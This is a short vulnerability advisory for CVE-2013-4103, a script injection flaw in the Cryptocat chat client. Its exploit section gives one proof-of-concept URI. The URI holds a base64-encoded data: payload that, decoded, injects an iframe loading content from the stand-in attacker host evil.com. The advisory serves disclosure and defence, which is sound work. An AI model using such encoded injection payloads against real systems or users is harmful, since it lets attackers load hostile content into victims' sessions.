• info
• discussion
• exploit
• solution
• references

Cryptocat CVE-2013-4103 Arbitrary Script Injection Vulnerability

Attackers can exploit this issue with a web browser.

The following example URI is available:

Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg